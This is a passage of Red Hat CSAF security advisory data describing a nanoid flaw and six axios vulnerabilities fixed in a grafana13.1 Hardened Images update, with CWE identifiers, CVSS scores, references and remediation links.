          "text": "Important: This flaw in the nanoid JavaScript library allows a remote attacker to cause predictable ID generation by exploiting an integer overflow in the `nanoid(size)` function. This can lead to the compromise of session tokens, CSRF tokens, and API keys, bypassing security mechanisms. The attack requires specific conditions, contributing to its Important severity rather than Critical.",
          "title": "Statement"
        },
        {
          "category": "general",
          "text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
          "title": "CVSS score applicability"
        }
      ],
      "product_status": {
        "fixed": [
          "Red Hat Hardened Images:jaeger-main@aarch64",
          "Red Hat Hardened Images:jaeger-main@src",
          "Red Hat Hardened Images:jaeger-main@x86_64"
        ]
      },
      "references": [
        {
          "category": "self",
          "summary": "Canonical URL",
          "url": "https://access.redhat.com/security/cve/CVE-2026-73086"
        },
        {
          "category": "external",
          "summary": "RHBZ#2514175",
          "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2514175"
        },
        {
          "category": "external",
          "summary": "https://www.cve.org/CVERecord?id=CVE-2026-73086",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-73086"
        },
        {
          "category": "external",
          "summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-73086",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-73086"
        },
        {
          "category": "external",
          "summary": "https://github.com/ai/nanoid/commit/7087969281cab8ba8ae3babf1894e819068b3bb4",
          "url": "https://github.com/ai/nanoid/commit/7087969281cab8ba8ae3babf1894e819068b3bb4"
        },
        {
          "category": "external",
          "summary": "https://github.com/ai/nanoid/commit/821dfed7b5db7f88e92f56c60eef32c8135077c3",
          "url": "https://github.com/ai/nanoid/commit/821dfed7b5db7f88e92f56c60eef32c8135077c3"
        },
        {
          "category": "external",
          "summary": "https://github.com/ai/nanoid/commit/b0036ed60dc9facd7f1191a50dfb3076500202ac",
          "url": "https://github.com/ai/nanoid/commit/b0036ed60dc9facd7f1191a50dfb3076500202ac"
        },
        {
          "category": "external",
          "summary": "https://github.com/ai/nanoid/releases/tag/3.3.12",
          "url": "https://github.com/ai/nanoid/releases/tag/3.3.12"
        },
        {
          "category": "external",
          "summary": "https://github.com/ai/nanoid/releases/tag/5.1.11",
          "url": "https://github.com/ai/nanoid/releases/tag/5.1.11"
        },
        {
          "category": "external",
          "summary": "https://github.com/ai/nanoid/security/advisories/GHSA-xwg4-73v4-xw9w",
          "url": "https://github.com/ai/nanoid/security/advisories/GHSA-xwg4-73v4-xw9w"
        }
      ],
      "release_date": "2026-08-11T16:46:23.024000+00:00",
      "remediations": [
        {
          "category": "vendor_fix",
          "date": "2026-07-30T11:11:12+00:00",
          "details": "For details on how to apply this update, which includes the changes described in this advisory, refer to:\nhttps://images.redhat.com/",
          "product_ids": [
            "Red Hat Hardened Images:jaeger-main@aarch64",
            "Red Hat Hardened Images:jaeger-main@src",
            "Red Hat Hardened Images:jaeger-main@x86_64"
          ],
          "restart_required": {
            "category": "none"
          },
          "url": "https://access.redhat.com/errata/RHSA-2026:48758"
        },
        {
          "category": "workaround",
          "details": "Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base, or stability.",
          "product_ids": [
            "Red Hat Hardened Images:jaeger-main@aarch64",
            "Red Hat Hardened Images:jaeger-main@src",
            "Red Hat Hardened Images:jaeger-main@x86_64"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "attackComplexity": "HIGH",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 7.4,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "HIGH",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
            "version": "3.1"
          },
          "products": [
            "Red Hat Hardened Images:jaeger-main@aarch64",
            "Red Hat Hardened Images:jaeger-main@src",
            "Red Hat Hardened Images:jaeger-main@x86_64"
          ]
        }
      ],
      "threats": [
        {
          "category": "impact",
          "details": "Important"
        }
      ],
      "title": "nanoid: nanoid: Predictable ID generation due to integer overflow"
    }
  ]
}

{
  "document": {
    "aggregate_severity": {
      "namespace": "https://access.redhat.com/security/updates/classification/",
      "text": "Important"
    },
    "category": "csaf_security_advisory",
    "csaf_version": "2.0",
    "distribution": {
      "text": "Copyright \u00a9 Red Hat, Inc. All rights reserved.",
      "tlp": {
        "label": "WHITE",
        "url": "https://www.first.org/tlp/"
      }
    },
    "lang": "en",
    "notes": [
      {
        "category": "summary",
        "text": "An update for Red Hat Hardened Images RPMs is now available.",
        "title": "Topic"
      },
      {
        "category": "general",
        "text": "This update includes the following RPMs:\n\ngrafana13.1:\n  * grafana13.1-13.1.1-0.5.hum1 (aarch64, x86_64)\n  * grafana13.1-13.1.1-0.5.hum1.src (src)\n\nSecurity Fix(es):\n\ngrafana13.1:\n  * CVE-2026-67313\n  * CVE-2026-67314\n  * CVE-2026-67315\n  * CVE-2026-67316\n  * CVE-2026-67317\n  * CVE-2026-67318",
        "title": "Details"
      },
      {
        "category": "legal_disclaimer",
        "text": "This content is licensed under the Creative Commons Attribution 4.0 International License (https://creativecommons.org/licenses/by/4.0/). If you distribute this content, or a modified version of it, you must provide attribution to Red Hat Inc. and provide a link to the original.",
        "title": "Terms of Use"
      }
    ],
    "publisher": {
      "category": "vendor",
      "contact_details": "https://access.redhat.com/security/team/contact/",
      "issuing_authority": "Red Hat Product Security is responsible for vulnerability handling across all Red Hat products and services.",
      "name": "Red Hat Product Security",
      "namespace": "https://www.redhat.com"
    },
    "references": [
      {
        "category": "self",
        "summary": "https://access.redhat.com/errata/RHSA-2026:49714",
        "url": "https://access.redhat.com/errata/RHSA-2026:49714"
      },
      {
        "category": "external",
        "summary": "https://access.redhat.com/security/cve/CVE-2026-67313",
        "url": "https://access.redhat.com/security/cve/CVE-2026-67313"
      },
      {
        "category": "external",
        "summary": "https://access.redhat.com/security/cve/CVE-2026-67314",
        "url": "https://access.redhat.com/security/cve/CVE-2026-67314"
      },
      {
        "category": "external",
        "summary": "https://access.redhat.com/security/cve/CVE-2026-67315",
        "url": "https://access.redhat.com/security/cve/CVE-2026-67315"
      },
      {
        "category": "external",
        "summary": "https://access.redhat.com/security/cve/CVE-2026-67316",
        "url": "https://access.redhat.com/security/cve/CVE-2026-67316"
      },
      {
        "category": "external",
        "summary": "https://access.redhat.com/security/cve/CVE-2026-67317",
        "url": "https://access.redhat.com/security/cve/CVE-2026-67317"
      },
      {
        "category": "external",
        "summary": "https://access.redhat.com/security/cve/CVE-2026-67318",
        "url": "https://access.redhat.com/security/cve/CVE-2026-67318"
      },
      {
        "category": "external",
        "summary": "https://access.redhat.com/security/updates/classification/",
        "url": "https://access.redhat.com/security/updates/classification/"
      },
      {
        "category": "external",
        "summary": "https://images.redhat.com/",
        "url": "https://images.redhat.com/"
      },
      {
        "category": "self",
        "summary": "Canonical URL",
        "url": "https://security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_49714.json"
      }
    ],
    "title": "Red Hat Security Advisory: Red Hat Hardened Images RPMs Security Update",
    "tracking": {
      "current_release_date": "2026-09-07T05:44:48+00:00",
      "generator": {
        "date": "2026-09-07T05:44:48+00:00",
        "engine": {
          "name": "Red Hat SDEngine",
          "version": "5.3.16"
        }
      },
      "id": "RHSA-2026:49714",
      "initial_release_date": "2026-08-03T16:47:50+00:00",
      "revision_history": [
        {
          "date": "2026-08-03T16:47:50+00:00",
          "number": "1",
          "summary": "Initial version"
        },
        {
          "date": "2026-09-04T00:36:24+00:00",
          "number": "2",
          "summary": "Last updated version"
        },
        {
          "date": "2026-09-07T05:44:48+00:00",
          "number": "3",
          "summary": "Last generated version"
        }
      ],
      "status": "final",
      "version": "3"
    }
  },
  "product_tree": {
    "branches": [
      {
        "branches": [
          {
            "branches": [
              {
                "category": "product_name",
                "name": "Red Hat Hardened Images",
                "product": {
                  "name": "Red Hat Hardened Images",
                  "product_id": "Red Hat Hardened Images",
                  "product_identification_helper": {
                    "cpe": "cpe:/a:redhat:hummingbird:1"
                  }
                }
              }
            ],
            "category": "product_family",
            "name": "Red Hat Hardened Images"
          },
          {
            "branches": [
              {
                "category": "product_version",
                "name": "grafana13-1-main@aarch64",
                "product": {
                  "name": "grafana13-1-main@aarch64",
                  "product_id": "grafana13-1-main@aarch64",
                  "product_identification_helper": {
                    "purl": "pkg:rpm/redhat/grafana13.1@13.1.1-0.5.hum1?arch=aarch64\u0026distro=hummingbird-20251124\u0026repository_id=public-hummingbird-aarch64-rpms"
                  }
                }
              }
            ],
            "category": "architecture",
            "name": "aarch64"
          },
          {
            "branches": [
              {
                "category": "product_version",
                "name": "grafana13-1-main@src",
                "product": {
                  "name": "grafana13-1-main@src",
                  "product_id": "grafana13-1-main@src",
                  "product_identification_helper": {
                    "purl": "pkg:rpm/redhat/grafana13.1@13.1.1-0.5.hum1?arch=src\u0026distro=hummingbird-20251124\u0026repository_id=public-hummingbird-source-rpms"
                  }
                }
              }
            ],
            "category": "architecture",
            "name": "src"
          },
          {
            "branches": [
              {
                "category": "product_version",
                "name": "grafana13-1-main@x86_64",
                "product": {
                  "name": "grafana13-1-main@x86_64",
                  "product_id": "grafana13-1-main@x86_64",
                  "product_identification_helper": {
                    "purl": "pkg:rpm/redhat/grafana13.1@13.1.1-0.5.hum1?arch=x86_64\u0026distro=hummingbird-20251124\u0026repository_id=public-hummingbird-x86_64-rpms"
                  }
                }
              }
            ],
            "category": "architecture",
            "name": "x86_64"
          }
        ],
        "category": "vendor",
        "name": "Red Hat"
      }
    ],
    "relationships": [
      {
        "category": "default_component_of",
        "full_product_name": {
          "name": "grafana13-1-main@aarch64 as a component of Red Hat Hardened Images",
          "product_id": "Red Hat Hardened Images:grafana13-1-main@aarch64"
        },
        "product_reference": "grafana13-1-main@aarch64",
        "relates_to_product_reference": "Red Hat Hardened Images"
      },
      {
        "category": "default_component_of",
        "full_product_name": {
          "name": "grafana13-1-main@src as a component of Red Hat Hardened Images",
          "product_id": "Red Hat Hardened Images:grafana13-1-main@src"
        },
        "product_reference": "grafana13-1-main@src",
        "relates_to_product_reference": "Red Hat Hardened Images"
      },
      {
        "category": "default_component_of",
        "full_product_name": {
          "name": "grafana13-1-main@x86_64 as a component of Red Hat Hardened Images",
          "product_id": "Red Hat Hardened Images:grafana13-1-main@x86_64"
        },
        "product_reference": "grafana13-1-main@x86_64",
        "relates_to_product_reference": "Red Hat Hardened Images"
      }
    ]
  },
  "vulnerabilities": [
    {
      "cve": "CVE-2026-67313",
      "cwe": {
        "id": "CWE-674",
        "name": "Uncontrolled Recursion"
      },
      "discovery_date": "2026-08-01T13:03:08.824485+00:00",
      "ids": [
        {
          "system_name": "Red Hat Bugzilla ID",
          "text": "2510017"
        }
      ],
      "notes": [
        {
          "category": "description",
          "text": "A flaw was found in axios. A remote attacker could exploit an uncontrolled recursion vulnerability in the formDataToJSON function by supplying FormData with field names containing deeply nested bracket segments. This could exhaust the JavaScript call stack, leading to a RangeError and causing a denial of service (DoS) through request failure or process termination in affected applications.",
          "title": "Vulnerability description"
        },
        {
          "category": "summary",
          "text": "axios: axios: Denial of Service via uncontrolled recursion in formDataToJSON",
          "title": "Vulnerability summary"
        },
        {
          "category": "general",
          "text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
          "title": "CVSS score applicability"
        }
      ],
      "product_status": {
        "fixed": [
          "Red Hat Hardened Images:grafana13-1-main@aarch64",
          "Red Hat Hardened Images:grafana13-1-main@src",
          "Red Hat Hardened Images:grafana13-1-main@x86_64"
        ]
      },
      "references": [
        {
          "category": "self",
          "summary": "Canonical URL",
          "url": "https://access.redhat.com/security/cve/CVE-2026-67313"
        },
        {
          "category": "external",
          "summary": "RHBZ#2510017",
          "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2510017"
        },
        {
          "category": "external",
          "summary": "https://www.cve.org/CVERecord?id=CVE-2026-67313",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-67313"
        },
        {
          "category": "external",
          "summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-67313",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-67313"
        },
        {
          "category": "external",
          "summary": "https://github.com/axios/axios/security/advisories/GHSA-42h9-826w-cgv3",
          "url": "https://github.com/axios/axios/security/advisories/GHSA-42h9-826w-cgv3"
        },
        {
          "category": "external",
          "summary": "https://www.vulncheck.com/advisories/axios-before-denial-of-service-via-formdatatojson",
          "url": "https://www.vulncheck.com/advisories/axios-before-denial-of-service-via-formdatatojson"
        }
      ],
      "release_date": "2026-08-01T12:22:16.493000+00:00",
      "remediations": [
        {
          "category": "vendor_fix",
          "date": "2026-08-03T16:47:50+00:00",
          "details": "For details on how to apply this update, which includes the changes described in this advisory, refer to:\nhttps://images.redhat.com/",
          "product_ids": [
            "Red Hat Hardened Images:grafana13-1-main@aarch64",
            "Red Hat Hardened Images:grafana13-1-main@src",
            "Red Hat Hardened Images:grafana13-1-main@x86_64"
          ],
          "restart_required": {
            "category": "none"
          },
          "url": "https://access.redhat.com/errata/RHSA-2026:49714"
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 7.5,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "NONE",
            "integrityImpact": "NONE",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "Red Hat Hardened Images:grafana13-1-main@aarch64",
            "Red Hat Hardened Images:grafana13-1-main@src",
            "Red Hat Hardened Images:grafana13-1-main@x86_64"
          ]
        }
      ],
      "threats": [
        {
          "category": "impact",
          "details": "Important"
        }
      ],
      "title": "axios: axios: Denial of Service via uncontrolled recursion in formDataToJSON"
    },
    {
      "cve": "CVE-2026-67314",
      "cwe": {
        "id": "CWE-915",
        "name": "Improperly Controlled Modification of Dynamically-Determined Object Attributes"
      },
      "discovery_date": "2026-08-01T13:03:49.884962+00:00",
      "ids": [
        {
          "system_name": "Red Hat Bugzilla ID",
          "text": "2510030"
        }
      ],
      "notes": [
        {
          "category": "description",
          "text": "A flaw was found in axios. This vulnerability involves prototype pollution read-side gadgets within the basic authentication subfield handling. If an application is already susceptible to a separate prototype pollution issue and makes an axios request without specifying username or password in its authentication object, an attacker can inject malicious values. This allows for outbound request tampering, enabling the attacker to inject or replace basic authentication credentials in outgoing requests. Under specific application conditions, this could also lead to credential disclosure.",
          "title": "Vulnerability description"
        },
        {
          "category": "summary",
          "text": "axios: axios: Outbound Request Tampering via Prototype Pollution in Basic Auth",
          "title": "Vulnerability summary"
        },
        {
          "category": "general",
          "text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
          "title": "CVSS score applicability"
        }
      ],
      "product_status": {
        "fixed": [
          "Red Hat Hardened Images:grafana13-1-main@aarch64",
          "Red Hat Hardened Images:grafana13-1-main@src",
          "Red Hat Hardened Images:grafana13-1-main@x86_64"
        ]
      },
      "references": [
        {
          "category": "self",
          "summary": "Canonical URL",
          "url": "https://access.redhat.com/security/cve/CVE-2026-67314"
        },
        {
          "category": "external",
          "summary": "RHBZ#2510030",
          "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2510030"
        },
        {
          "category": "external",
          "summary": "https://www.cve.org/CVERecord?id=CVE-2026-67314",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-67314"
        },
        {
          "category": "external",
          "summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-67314",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-67314"
        },
        {
          "category": "external",
          "summary": "https://github.com/axios/axios/security/advisories/GHSA-xj6q-8x83-jv6g",
          "url": "https://github.com/axios/axios/security/advisories/GHSA-xj6q-8x83-jv6g"
        },
        {
          "category": "external",
          "summary": "https://www.vulncheck.com/advisories/axios-before-prototype-pollution-via-auth-subfields",
          "url": "https://www.vulncheck.com/advisories/axios-before-prototype-pollution-via-auth-subfields"
        }
      ],
      "release_date": "2026-08-01T12:22:16.603000+00:00",
      "remediations": [
        {
          "category": "vendor_fix",
          "date": "2026-08-03T16:47:50+00:00",
          "details": "For details on how to apply this update, which includes the changes described in this advisory, refer to:\nhttps://images.redhat.com/",
          "product_ids": [
            "Red Hat Hardened Images:grafana13-1-main@aarch64",
            "Red Hat Hardened Images:grafana13-1-main@src",
            "Red Hat Hardened Images:grafana13-1-main@x86_64"
          ],
          "restart_required": {
            "category": "none"
          },
          "url": "https://access.redhat.com/errata/RHSA-2026:49714"
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "attackComplexity": "HIGH",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 7.4,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "HIGH",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
            "version": "3.1"
          },
          "products": [
            "Red Hat Hardened Images:grafana13-1-main@aarch64",
            "Red Hat Hardened Images:grafana13-1-main@src",
            "Red Hat Hardened Images:grafana13-1-main@x86_64"
          ]
        }
      ],
      "threats": [
        {
          "category": "impact",
          "details": "Important"
        }
      ],
      "title": "axios: axios: Outbound Request Tampering via Prototype Pollution in Basic Auth"
    },
    {
      "cve": "CVE-2026-67315",
      "cwe": {
        "id": "CWE-115",
        "name": "Misinterpretation of Input"
      },
      "discovery_date": "2026-08-01T13:03:15.269330+00:00",
      "ids": [
        {
          "system_name": "Red Hat Bugzilla ID",
          "text": "2510019"
        }
      ],
      "notes": [
        {
          "category": "description",
          "text": "A flaw was found in axios. This vulnerability occurs because the software fails to correctly identify 0.0.0.0 as a local loopback address when evaluating NO_PROXY rules. A remote attacker could exploit this by providing a 0.0.0.0 URL, causing requests to bypass intended proxy restrictions. This could lead to the exposure of internal services to the configured proxy, potentially allowing unauthorized access to local resources.",
          "title": "Vulnerability description"
        },
        {
          "category": "summary",
          "text": "axios: axios: NO_PROXY bypass allows exposure of local services",
          "title": "Vulnerability summary"
        },
        {
          "category": "general",
          "text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
          "title": "CVSS score applicability"
        }
      ],
      "product_status": {
        "fixed": [
          "Red Hat Hardened Images:grafana13-1-main@aarch64",
          "Red Hat Hardened Images:grafana13-1-main@src",
          "Red Hat Hardened Images:grafana13-1-main@x86_64"
        ]
      },
      "references": [
        {
          "category": "self",
          "summary": "Canonical URL",
          "url": "https://access.redhat.com/security/cve/CVE-2026-67315"
        },
        {
          "category": "external",
          "summary": "RHBZ#2510019",
          "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2510019"
        },
        {
          "category": "external",
          "summary": "https://www.cve.org/CVERecord?id=CVE-2026-67315",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-67315"
        },
        {
          "category": "external",
          "summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-67315",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-67315"
        },
        {
          "category": "external",
          "summary": "https://github.com/axios/axios/security/advisories/GHSA-f4gw-2p7v-4548",
          "url": "https://github.com/axios/axios/security/advisories/GHSA-f4gw-2p7v-4548"
        },
        {
          "category": "external",
          "summary": "https://www.vulncheck.com/advisories/axios-before-no-proxy-bypass-via",
          "url": "https://www.vulncheck.com/advisories/axios-before-no-proxy-bypass-via"
        }
      ],
      "release_date": "2026-08-01T12:22:18.103000+00:00",
      "remediations": [
        {
          "category": "vendor_fix",
          "date": "2026-08-03T16:47:50+00:00",
          "details": "For details on how to apply this update, which includes the changes described in this advisory, refer to:\nhttps://images.redhat.com/",
          "product_ids": [
            "Red Hat Hardened Images:grafana13-1-main@aarch64",
            "Red Hat Hardened Images:grafana13-1-main@src",
            "Red Hat Hardened Images:grafana13-1-main@x86_64"
          ],
          "restart_required": {
            "category": "none"
          },
          "url": "https://access.redhat.com/errata/RHSA-2026:49714"
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 5.8,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "LOW",
            "integrityImpact": "NONE",
            "privilegesRequired": "NONE",
            "scope": "CHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N",
            "version": "3.1"
          },
          "products": [
            "Red Hat Hardened Images:grafana13-1-main@aarch64",
            "Red Hat Hardened Images:grafana13-1-main@src",
            "Red Hat Hardened Images:grafana13-1-main@x86_64"
          ]
        }
      ],
      "threats": [
        {
          "category": "impact",
          "details": "Moderate"
        }
      ],
      "title": "axios: axios: NO_PROXY bypass allows exposure of local services"
    },
    {
      "cve": "CVE-2026-67316",
      "cwe": {
        "id": "CWE-915",
        "name": "Improperly Controlled Modification of Dynamically-Determined Object Attributes"
      },
      "discovery_date": "2026-08-01T13:02:42.878796+00:00",
      "ids": [
        {
          "system_name": "Red Hat Bugzilla ID",
          "text": "2510009"
        }
      ],
      "notes": [
        {
          "category": "description",
          "text": "A flaw was found in axios, a widely used JavaScript library for making web requests. This vulnerability, known as prototype pollution, allows an attacker to subtly alter how network requests are built if another part of the system has already been compromised. This could lead to an attacker injecting unauthorized data into requests that were not intended to have a body. In more advanced scenarios, an attacker could also redirect network traffic through their own malicious servers or manipulate how URLs are processed, potentially exposing sensitive information or allowing traffic modification.",
          "title": "Vulnerability description"
        },
        {
          "category": "summary",
          "text": "axios: axios: Prototype Pollution allows unauthorized data transmission and network redirection",
          "title": "Vulnerability summary"
        },
        {
          "category": "other",
          "text": "Low impact. This prototype pollution vulnerability in axios requires a pre-existing Object.prototype pollution from another flaw. Exploitation is further limited as the more severe aspects, such as proxy or paramsSerializer pollution, do not affect normal high-level axios API calls in versions 1.15.2 and later, which are common in Red Hat products.",
          "title": "Statement"
        },
        {
          "category": "general",
          "text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
          "title": "CVSS score applicability"
        }
      ],
      "product_status": {
        "fixed": [
          "Red Hat Hardened Images:grafana13-1-main@aarch64",
          "Red Hat Hardened Images:grafana13-1-main@src",
          "Red Hat Hardened Images:grafana13-1-main@x86_64"
        ]
      },
      "references": [
        {
          "category": "self",
          "summary": "Canonical URL",
          "url": "https://access.redhat.com/security/cve/CVE-2026-67316"
        },
        {
          "category": "external",
          "summary": "RHBZ#2510009",
          "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2510009"
        },
        {
          "category": "external",
          "summary": "https://www.cve.org/CVERecord?id=CVE-2026-67316",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-67316"
        },
        {
          "category": "external",
          "summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-67316",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-67316"
        },
        {
          "category": "external",
          "summary": "https://github.com/axios/axios/security/advisories/GHSA-mmx7-hfxf-jppx",
          "url": "https://github.com/axios/axios/security/advisories/GHSA-mmx7-hfxf-jppx"
        },
        {
          "category": "external",
          "summary": "https://www.vulncheck.com/advisories/axios-before-prototype-pollution-via-bodyless-methods",
          "url": "https://www.vulncheck.com/advisories/axios-before-prototype-pollution-via-bodyless-methods"
        }
      ],
      "release_date": "2026-08-01T12:22:18.114000+00:00",
      "remediations": [
        {
          "category": "vendor_fix",
          "date": "2026-08-03T16:47:50+00:00",
          "details": "For details on how to apply this update, which includes the changes described in this advisory, refer to:\nhttps://images.redhat.com/",
          "product_ids": [
            "Red Hat Hardened Images:grafana13-1-main@aarch64",
            "Red Hat Hardened Images:grafana13-1-main@src",
            "Red Hat Hardened Images:grafana13-1-main@x86_64"
          ],
          "restart_required": {
            "category": "none"
          },
          "url": "https://access.redhat.com/errata/RHSA-2026:49714"
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "attackComplexity": "HIGH",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 3.7,
            "baseSeverity": "LOW",
            "confidentialityImpact": "NONE",
            "integrityImpact": "LOW",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N",
            "version": "3.1"
          },
          "products": [
            "Red Hat Hardened Images:grafana13-1-main@aarch64",
            "Red Hat Hardened Images:grafana13-1-main@src",
            "Red Hat Hardened Images:grafana13-1-main@x86_64"
          ]
        }
      ],
      "threats": [
        {
          "category": "impact",
          "details": "Low"
        }
      ],
      "title": "axios: axios: Prototype Pollution allows unauthorized data transmission and network redirection"
    },
    {
      "cve": "CVE-2026-67317",
      "cwe": {
        "id": "CWE-770",
        "name": "Allocation of Resources Without Limits or Throttling"
      },
      "discovery_date": "2026-08-01T13:03:53.063442+00:00",
      "ids": [
        {
          "system_name": "Red Hat Bugzilla ID",
          "text": "2510031"
        }
      ],
      "notes": [
        {
          "category": "description",
          "text": "A flaw was found in axios. This vulnerability allows a remote attacker to bypass configured upload size limits by supplying unknown-length stream data when using WHATWG ReadableStream request bodies in the fetch adapter, specifically when the Content-Length cannot be determined. This can lead to uncontrolled network egress or resource exhaustion, resulting in a Denial of Service (DoS) for the affected system.",
          "title": "Vulnerability description"
        },
        {
          "category": "summary",
          "text": "axios: axios: Denial of Service via maxBodyLength bypass with ReadableStream",
          "title": "Vulnerability summary"
        },
        {
          "category": "general",
          "text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
          "title": "CVSS score applicability"
        }
      ],
      "product_status": {
        "fixed": [
          "Red Hat Hardened Images:grafana13-1-main@aarch64",
          "Red Hat Hardened Images:grafana13-1-main@src",
          "Red Hat Hardened Images:grafana13-1-main@x86_64"
        ]
      },
      "references": [
        {
          "category": "self",
          "summary": "Canonical URL",
          "url": "https://access.redhat.com/security/cve/CVE-2026-67317"
        },
        {
          "category": "external",
          "summary": "RHBZ#2510031",
          "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2510031"
        },
        {
          "category": "external",
          "summary": "https://www.cve.org/CVERecord?id=CVE-2026-67317",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-67317"
        },
        {
          "category": "external",
          "summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-67317",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-67317"
        },
        {
          "category": "external",
          "summary": "https://github.com/axios/axios/security/advisories/GHSA-jqh4-m9w3-8hp9",
          "url": "https://github.com/axios/axios/security/advisories/GHSA-jqh4-m9w3-8hp9"
        },
        {
          "category": "external",
          "summary": "https://www.vulncheck.com/advisories/axios-before-maxbodylength-bypass-via-readablestream",
          "url": "https://www.vulncheck.com/advisories/axios-before-maxbodylength-bypass-via-readablestream"
        }
      ],
      "release_date": "2026-08-01T12:22:16.662000+00:00",
      "remediations": [
        {
          "category": "vendor_fix",
          "date": "2026-08-03T16:47:50+00:00",
          "details": "For details on how to apply this update, which includes the changes described in this advisory, refer to:\nhttps://images.redhat.com/",
          "product_ids": [
            "Red Hat Hardened Images:grafana13-1-main@aarch64",
            "Red Hat Hardened Images:grafana13-1-main@src",
            "Red Hat Hardened Images:grafana13-1-main@x86_64"
          ],
          "restart_required": {
            "category": "none"
          },
          "url": "https://access.redhat.com/errata/RHSA-2026:49714"
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "LOW",
            "baseScore": 5.3,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "NONE",
            "integrityImpact": "NONE",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
            "version": "3.1"
          },
          "products": [
            "Red Hat Hardened Images:grafana13-1-main@aarch64",
            "Red Hat Hardened Images:grafana13-1-main@src",
            "Red Hat Hardened Images:grafana13-1-main@x86_64"
          ]
        }
      ],
      "threats": [
        {
          "category": "impact",
          "details": "Moderate"
        }
      ],
      "title": "axios: axios: Denial of Service via maxBodyLength bypass with ReadableStream"
    },
    {
      "cve": "CVE-2026-67318",
      "cwe": {
        "id": "CWE-770",
        "name": "Allocation of Resources Without Limits or Throttling"
      },
      "discovery_date": "2026-08-01T13:01:38.074319+00:00",
      "ids": [
        {
          "system_name": "Red Hat Bugzilla ID",
          "text": "2509989"
        }
      ],
      "notes": [
        {
          "category": "description",
          "text": "A flaw was found in axios, a popular JavaScript library for making HTTP requests. When using the Node.js HTTP/2 adapter, axios fails to properly enforce the configured maxBodyLength limit for streamed request bodies. This allows a remote attacker, by controlling the input stream, to send an arbitrarily large amount of data. The primary impact is excessive resource consumption, increased network egress, and potential denial of service for the affected application.",
          "title": "Vulnerability description"
        },
        {
          "category": "summary",
          "text": "axios: axios: Denial of Service due to maxBodyLength bypass in HTTP/2 requests",
          "title": "Vulnerability summary"
        },
        {
          "category": "general",
          "text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
          "title": "CVSS score applicability"
        }
